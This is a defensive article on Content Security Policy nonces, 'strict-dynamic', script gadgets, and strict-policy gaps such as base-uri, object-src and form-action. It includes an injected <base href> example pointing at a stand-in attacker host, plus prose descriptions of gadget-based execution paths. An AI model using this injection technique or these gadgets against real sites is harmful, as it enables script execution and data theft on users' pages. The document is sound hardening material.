Security Engineering · Web Application Security

CSP Nonces and the Script Gadgets That Survive Them

How a nonce marks the scripts a policy permits, why whitelisting a host also authorises every script on it, and how existing library code becomes an execution path.

Content Security Policy is a response header that tells the browser which sources a document may load resources from, and whether inline script may execute. Its purpose is to downgrade an injection from code execution to a blocked load, which makes it the second line behind output encoding. The second line has a history of being weaker than it looks, and the weaknesses are structural rather than implementation bugs.

Two ways to authorise a script

The original model was an allowlist of hosts. script-src 'self' https://cdn.example permits any script from those origins. The trouble with a host allowlist is that it authorises a source, not a program. Any endpoint on the listed origin that serves JavaScript is authorised, including JSON endpoints whose responses the browser might parse as script, and including user-uploaded content on the same origin. A policy naming a large shared CDN authorises every library on that CDN, and the version served at any given time is not something the policy pins.

The nonce model replaces the allowlist with a per-response token. The server generates an unpredictable value for each response, puts it in the policy (script-src 'nonce-<value>'), and writes the same value into the nonce attribute of every script element it emits. The browser executes an inline or external <script> only if its nonce attribute matches. Because the value changes per response and is not guessable, an attacker who can inject markup cannot predict the nonce for the response they are causing, and cannot read the nonce from the page, since injection happens before the script runs.

The value must be at least 128 bits from a cryptographic generator, and it must be encoded in base64 so that it can appear in the header and in the attribute without ambiguity. A short or predictable nonce — a counter, a timestamp, a truncated hash of the URL — is a nonce an attacker can enumerate offline and try, and the CSP specification’s security rests on the value being unguessable.

The nonce also has to be reflected in the markup without being reflected in a cacheable form. A response carrying a nonce must not be stored in a shared cache and replayed to another client, because the nonce would then be known. Nonces and CDN caching are in direct tension, and the usual resolutions are per-request rendering with Cache-Control: private, or hash-based authorisation for static inline blocks.

The strict-dynamic question

A nonce authorises the script element that carries it. If that script then creates a new script element and inserts it, the new element carries no nonce, and the policy blocks it. Applications built from dynamically loaded modules break under a naive nonce policy, which is why 'strict-dynamic' exists: when the keyword is present, a script permitted by a nonce may create further script elements that inherit authorisation, and host allowlists are ignored.

The inheritance is the trade. In exchange for keeping module loaders and analytics tags working, the policy now trusts the entire transitive closure of what the trusted script loads. A permitted script that loads a URL computed from page data — a JSONP call, a widget initialiser, a library that reads a script URL from an element’s attributes — becomes a way to have the browser fetch attacker-chosen code with the policy’s blessing. 'strict-dynamic' is not a bypass of the policy’s intent, but it moves the security question from “which hosts serve scripts” to “can any permitted script be induced to load something else”.

Script gadgets

A script gadget is code already present on the page that, when fed attacker-influenced data, reaches an executing sink. The CSP research that named the class showed that many popular libraries contain such behaviour: a library that reads an element’s data-* attribute and passes it to eval, a templating library that compiles a string found in the DOM, a framework’s client-side router that resolves a javascript: URL from a link. None of these are vulnerabilities in isolation; they are features. In the presence of an HTML injection, they are execution primitives.

The consequence for policy design is that a nonce policy which permits a script containing a gadget does not prevent the gadget from being triggered by injected markup. The injected markup does not need a script element at all; it needs an element with the attribute the gadget reads. A nonce on the library’s own script tag is irrelevant, because the execution happens through the library, and CSP evaluates the script’s provenance, not the path by which the sink was reached.

The class of gadgets is broader than the obvious ones. Any API that converts a string to a URL and navigates, any code that writes a script element’s src from a value it found in the DOM, and any framework hook that evaluates attribute content are candidates. The analysis is per-library and version-specific, which is why a strict policy’s effective strength is a function of the JavaScript on the page and cannot be assessed from the policy text alone.

The base-uri and object-src gap

A nonce policy that restricts script-src leaves a hole if base-uri is unrestricted. An injected <base href="https://attacker.example/"> changes how every relative URL on the page resolves, including the sources of scripts whose src is host-relative. A script with a nonce but a relative src then loads from the attacker’s origin and executes with the nonce’s authorisation, because the nonce travels with the element and the element’s src was rewritten by the base. Restricting base-uri to 'none' or to the application’s own origin closes it, and base-uri cannot be expressed as a fallback from default-src; it must be listed explicitly.

object-src is the plugin legacy: <object> and <embed> can load content that runs with broader privileges than a script element. The specification’s recommended strict policy sets object-src 'none', and default-src 'none' as a base with each directive opted in. A policy written as default-src 'self' plus a nonce on scripts inherits 'self' for object-src, frame-ancestors, and form-action, none of which should default that way.

form-action deserves separate mention because it constrains navigation rather than loading. Without it, an injected form can post to an attacker-controlled endpoint, and the data the form carries can be read from the DOM by the attacker’s page. frame-ancestors is the clickjacking control and is ignored in a meta element, which means a policy delivered in markup cannot protect against framing.

Hash-based authorisation and what it cannot cover

An alternative to nonces is a hash of each inline script’s content: script-src 'sha256-<base64>'. The hash authorises exactly that byte sequence, so an injected script cannot match it, and no per-response value is needed, which makes the policy cacheable and static. The cost is maintenance: every change to an inline block changes its hash, and a build process must compute and inject them.

Hashes apply only to inline script, and only when the content is byte-identical. A script that the browser modifies — by having its whitespace normalised, or by being assembled from parts — does not match. Hashes cannot be combined meaningfully with 'strict-dynamic', whose purpose is to authorise chains rather than fixed content, so the two models are alternatives rather than complements.

The inline event handler attributes — onclick, onerror, onload — cannot be authorised by a nonce at all. They are not script elements and carry no nonce attribute, so the only way to permit them is 'unsafe-inline', which disables the nonce model entirely when both are present. A policy that lists a nonce and 'unsafe-inline' in the same directive gives current browsers the nonce semantics and older browsers the permissive semantics, which is the intended compatibility posture but also a reminder that the handler attributes must be removed from the application before the policy means anything.

Reading violations

The report-to and report-uri directives deliver violation reports to a collector, and the reports are the only way to discover what a policy would break before enforcing it. The deployment sequence is to run in report-only mode, collect for a period, fix the flows the reports reveal, and then enforce. The reports contain the blocked URI, the directive, and the document URL; they do not contain the nonce, and they are themselves attacker-influenceable, since an attacker can trigger violations deliberately to flood the collector.

The final consideration is that CSP is a mitigation, not a boundary. It reduces the impact of an injection that reached the page. The controls that prevent the injection are upstream — the context-correct encoding described in HTML parsing contexts and the source-to-sink discipline described in DOM XSS sources and sinks. A strict policy with a gadget-laden script bundle is weaker than a policy-free page with no injection point, and the reverse is also true; the two controls cover different failures.

References

  1. Content Security Policy Level 3 — W3C
  2. Content Security Policy: A Successful Mess Between Hardening and Mitigation — Weichselbaum et al., USENIX Security 2016
  3. HTML Living Standard — The script element — WHATWG